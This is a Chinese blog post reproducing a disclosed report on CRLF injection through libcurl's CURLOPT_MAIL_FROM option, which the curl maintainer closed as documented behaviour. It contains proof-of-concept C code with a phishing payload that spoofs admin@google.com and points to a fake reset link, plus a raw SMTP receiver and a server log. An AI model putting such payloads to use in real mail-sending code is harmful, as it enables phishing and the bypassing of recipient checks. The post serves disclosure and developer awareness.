深入解析libcurl的SMTP协议注入漏洞与CRLF攻击原理

本报告详细分析了一个在libcurl的SMTP实现中发现的CRLF注入漏洞,该漏洞允许攻击者通过CURLOPT_MAIL_FROM选项注入恶意命令,导致邮件伪造和协议控制被绕过。文章包含详细的代码分析和POC验证。

SMTP协议注入漏洞分析:通过CURLOPT_MAIL_FROM中的CRLF进行邮件伪造

摘要

在libcurl的SMTP实现中发现了一个关键安全漏洞,涉及对CURLOPT_MAIL_FROM选项的处理。与通过Curl_junkscan严格验证的完整URL不同,通过curl_easy_setopt提供给CURLOPT_MAIL_FROM的输入未对控制字符进行清理。这允许攻击者将回车换行(\r\n)序列注入发件人地址中。通过这种方式,攻击者可以提前终止MAIL FROM命令,并将任意SMTP命令(如RCPT TO、DATA和自定义标头)直接注入控制通道。这有效地破坏了协议封装,导致电子邮件伪造和安全控制绕过。

AI声明:本报告是在AI代理的协助下研究和生成的,用于分析libcurl源代码并识别不一致的验证逻辑。但该漏洞已通过手动验证,概念验证代码已在本地编译和执行,并且发现结果已针对原始TCP服务器进行了确认,以确保有效性和可重现性。

受影响版本

该漏洞在以下版本上重现:

1
2
3
4
curl 8.5.0 (x86_64-pc-linux-gnu) libcurl/8.5.0 OpenSSL/3.0.13 zlib/1.3 brotli/1.1.0 zstd/1.5.5 libidn2/2.3.7 libpsl/0.21.2 (+libidn2/2.3.7) libssh/0.10.6/openssl/zlib nghttp2/1.59.0 librtmp/2.3 OpenLDAP/2.6.7
Release-Date: 2023-12-06, security patched: 8.5.0-2ubuntu10.6
Protocols: dict file ftp ftps gopher gophers http https imap imaps ldap ldaps mqtt pop3 pop3s rtmp rtsp scp sftp smb smbs smtp smtps telnet tftp
Features: alt-svc AsynchDNS brotli GSS-API HSTS HTTP2 HTTPS-proxy IDN IPv6 Kerberos Largefile libz NTLM PSL SPNEGO SSL threadsafe TLS-SRP UnixSockets zstd

漏洞代码分析

该漏洞源于libcurl根据使用的API处理输入验证时的差异。

1. 严格标准(安全):lib/urlapi.c

当解析完整URL(例如smtp://...)时,libcurl使用Curl_junkscan确保不存在控制字符。这防止了通过URL本身的注入。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
/* lib/urlapi.c - Curl_junkscan逻辑 */
CURLUcode Curl_junkscan(const char *url, size_t *urllen, bool allowspace)
{
  /* ... */
  for(i = 0; i < n; i++) {
    /* 拒绝任何小于32的字符(ASCII控制字符) */
    if(p[i] <= control || p[i] == 127)
      return CURLUE_MALFORMED_INPUT;
  }
  return CURLUE_OK;
}

2. 缺失的验证(易受攻击):lib/setopt.c

通过curl_easy_setopt单独设置选项时,特别是CURLOPT_MAIL_FROM,验证被绕过。函数Curl_setstropt仅复制字符串而不进行清理。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
/* lib/setopt.c - 处理CURLOPT_MAIL_FROM */
case CURLOPT_MAIL_FROM:
  result = Curl_setstropt(&data->set.str[STRING_MAIL_FROM], va_arg(param, char *));
  break;

/* Curl_setstropt实现 */
CURLcode Curl_setstropt(char **charp, const char *s)
{
  /* ... */
  if(s) {
    /* 漏洞:原始strdup,未调用Curl_junkscan或检查CRLF */
    *charp = strdup(s); 
    if(!*charp)
      return CURLE_OUT_OF_MEMORY;
  }
  return CURLE_OK;
}

3. 注入点:lib/smtp.c

未清理的字符串随后直接在SMTP协议状态机中使用。Curl_pp_sendf函数格式化命令并将其发送到套接字,将被注入的\r\n视为协议分隔符。

1
2
3
/* lib/smtp.c - smtp_perform_mail() */
/* 'from'包含攻击者控制的带CRLF的字符串 */
result = Curl_pp_sendf(data, &smtpc->pp, "MAIL FROM:%s", from);

重现步骤

要重现此问题,我们需要一个"原始接收器"服务器,用于显示在网络上接收的确切字节,因为标准的SMTP服务器可能会通过静默处理命令来掩盖注入。

  1. 启动原始接收器服务器:保存提供的raw_server.py脚本并运行。它监听端口1025并打印原始传入数据。
  2. 编译并运行精确概念验证程序(poc.c):此C程序使用libcurl注入单个隐藏的RCPT TO命令。这证明了协议注入而不会中断会话流。
  3. 编译并运行伪造概念验证程序(poc_spoofing.c):此C程序演示了具体的攻击场景。它注入DATA和自定义标头以完全伪造来自"admin@google.com"的电子邮件,绕过应用程序的预期逻辑。
  4. 观察服务器日志:raw_server.py的输出将显示libcurl在单个数据块中发送了多个SMTP命令,证实了清理的缺失。

支持材料/参考文献

1. 原始接收器服务器(raw_server.py)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import socket

def run_raw_server():
    host = '127.0.0.1'
    port = 1025
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        s.bind((host, port))
        s.listen(1)
        print(f"[+] Raw Server listening on {host}:{port}")
        conn, addr = s.accept()
        with conn:
            # 发送初始SMTP横幅以满足libcurl
            conn.sendall(b"220 FakeSMTP\r\n")
            while True:
                data = conn.recv(4096)
                if not data: break
                print("-" * 40)
                # 显示原始字节以证明CRLF注入
                print(f"RECEIVED RAW:\n{data.decode('utf-8', errors='ignore')}")
                print("-" * 40)
                if b"QUIT" in data: break
                # 确认命令以保持流程继续
                conn.sendall(b"250 OK\r\n")

if __name__ == "__main__":
    run_raw_server()

2. 精确概念验证程序(poc.c)

此代码演示了对不在CURLOPT_MAIL_RCPT列表中的次要收件人(victim@target.com)的注入。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <stdio.h>
#include <curl/curl.h>

int main(void) {
    CURL *curl;
    /* 
     * 有效载荷:终止MAIL FROM并注入新的RCPT TO命令。
     * 服务器将在单个数据包中看到两个不同的命令。
     */
    const char *malicious_from = "<attacker@evil.com>\r\nRCPT TO:<victim@target.com>";

    curl = curl_easy_init();
    if(curl) {
        curl_easy_setopt(curl, CURLOPT_URL, "smtp://127.0.0.1:1025");
        curl_easy_setopt(curl, CURLOPT_MAIL_FROM, malicious_from);

        // 我们还添加一个合法的收件人以显示流程正常继续
        struct curl_slist *rcpt = curl_slist_append(NULL, "<legit@example.com>");
        curl_easy_setopt(curl, CURLOPT_MAIL_RCPT, rcpt);

        // 空正文
        curl_easy_setopt(curl, CURLOPT_UPLOAD, 1L); 
        curl_easy_setopt(curl, CURLOPT_INFILESIZE, 0L);

        curl_easy_perform(curl);
        curl_slist_free_all(rcpt);
        curl_easy_cleanup(curl);
    }
    return 0;
}

3. 具体伪造场景(poc_spoofing.c)

此代码演示了一个完整的网络钓鱼攻击,攻击者接管会话以伪造发件人和主题。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#include <stdio.h>
#include <curl/curl.h>

int main(void) {
    CURL *curl;

    /* 
     * 伪造有效载荷:
     * 1. 关闭MAIL FROM命令。
     * 2. 注入RCPT TO(绕过应用程序收件人列表)。
     * 3. 注入DATA以开始电子邮件内容。
     * 4. 伪造'From'标头以冒充受信任实体。
     * 5. 结束电子邮件并QUIT。
     */
    const char *spoof_payload = "<attacker@evil.com>\r\n"
                                "RCPT TO:<victim@target.com>\r\n"
                                "DATA\r\n"
                                "From: Security Team <admin@google.com>\r\n"
                                "To: Victim <victim@target.com>\r\n"
                                "Subject: URGENT: Password Reset Required\r\n"
                                "\r\n"
                                "Click here to reset your password: http://fake-google.com\r\n"
                                ".\r\n"
                                "QUIT";

    curl = curl_easy_init();
    if(curl) {
        curl_easy_setopt(curl, CURLOPT_URL, "smtp://127.0.0.1:1025");

        // 漏洞:将有效载荷注入MAIL_FROM
        curl_easy_setopt(curl, CURLOPT_MAIL_FROM, spoof_payload);

        // 虚拟收件人以满足libcurl的内部检查
        struct curl_slist *rcpt = curl_slist_append(NULL, "<ignored@example.com>");
        curl_easy_setopt(curl, CURLOPT_MAIL_RCPT, rcpt);

        // 禁用正常上传,因为我们通过MAIL_FROM注入了一切
        curl_easy_setopt(curl, CURLOPT_UPLOAD, 1L);
        curl_easy_setopt(curl, CURLOPT_INFILESIZE, 0L);

        curl_easy_perform(curl);
        curl_slist_free_all(rcpt);
        curl_easy_cleanup(curl);
    }
    return 0;
}

4. 证据(服务器日志)

运行poc_spoofing.c时raw_server.py的输出。请注意,libcurl将标头和正文作为原始命令发送,服务器接受了伪造的From标头。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
[+] Serveur BRUT en écoute sur 127.0.0.1:1025
[+] Connexion de ('127.0.0.1', 42538)
----------------------------------------
REÇU (Raw bytes):
b'EHLO anonymous-Advanced-Gaming-Laptop\r\n'
REÇU (Decoded):
EHLO anonymous-Advanced-Gaming-Laptop

----------------------------------------
----------------------------------------
REÇU (Raw bytes):
b'MAIL FROM:<attacker@evil.com>\r\nRCPT TO:<victim@target.com>\r\nDATA\r\nFrom: Security Team <admin@google.com>\r\nTo: Victim <victim@target.com>\r\nSubject: URGENT: Password Reset Required\r\n\r\nClick here to reset your password: http://fake-google.com\r\n.\r\nQUIT>\r\n'
REÇU (Decoded):
MAIL FROM:<attacker@evil.com>
RCPT TO:<victim@target.com>
DATA
From: Security Team <admin@google.com>
To: Victim <victim@target.com>
Subject: URGENT: Password Reset Required

Click here to reset your password: http://fake-google.com
.
QUIT>

----------------------------------------

影响

攻击者可以实现哪些安全影响?

此漏洞允许攻击者突破预期的SMTP命令结构,导致三个关键的安全影响:

1. 安全控制绕过(收件人允许列表绕过)

许多应用程序实施安全逻辑来限制谁可以接收电子邮件(例如,仅限内部@company.com地址)。此逻辑通常验证传递给CURLOPT_MAIL_RCPT的列表。

通过在MAIL FROM字段中注入RCPT TO:<attacker@evil.com>命令,攻击者完全绕过这些应用程序级检查。应用程序认为正在向安全的收件人发送电子邮件,而libcurl却秘密地指示SMTP服务器向攻击者或任意受害者发送副本。

2. 高保真度的网络钓鱼和伪造

通过注入DATA命令,攻击者可以完全控制电子邮件内容和标头(主题、日期,最重要的是显示给用户的From标头)。

因为电子邮件源自合法的应用程序服务器(可能具有该域的有效SPF/DKIM记录),这些伪造的电子邮件将通过反垃圾邮件检查,对收件人来说显得完全合法。这允许进行高效的网络钓鱼攻击(例如,“密码重置"电子邮件来自受信任的内部工具)。

3. SMTP会话中毒

攻击者可以使SMTP状态机失去同步。通过注入应用程序不知道的命令,攻击者可以改变连接的状态,可能影响在同一重用连接上发送的后续电子邮件传输(如果连接池处于活动状态),导致合法用户的数据泄漏或拒绝服务。

官方回应

bagder curl工作人员在5天前发表评论:“这不是一个漏洞,实际上是文档记录的行为。这里没有人在注入CRLF,只有用户自己向curl发送’垃圾’并要求发生一些奇怪的事情。”

bagder curl工作人员关闭了报告并将状态更改为"不适用”:“不被视为安全问题。”

bagder curl工作人员请求披露此报告:“根据项目的透明度政策,我们希望所有报告都被披露并公开。”

匿名报告者回应:“我完全同意披露。感谢您的时间和详细审查。我尊重这个决定,并注意到关于’标头中的CRLF’的安全文档,该文档澄清了libcurl’按原样’发送此类数据而不进行清理。为了公开记录,本报告背后的动机是观察到对完整URL应用的严格清理(Curl_junkscan保护协议)与curl_easy_setopt中的原始处理之间的差异。我希望这份报告能够作为一个有用的提醒,提醒开发人员必须手动清理传递给如CURLOPT_MAIL_FROM等选项的输入,因为库在该级别上依赖应用程序来确保协议完整性。”

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计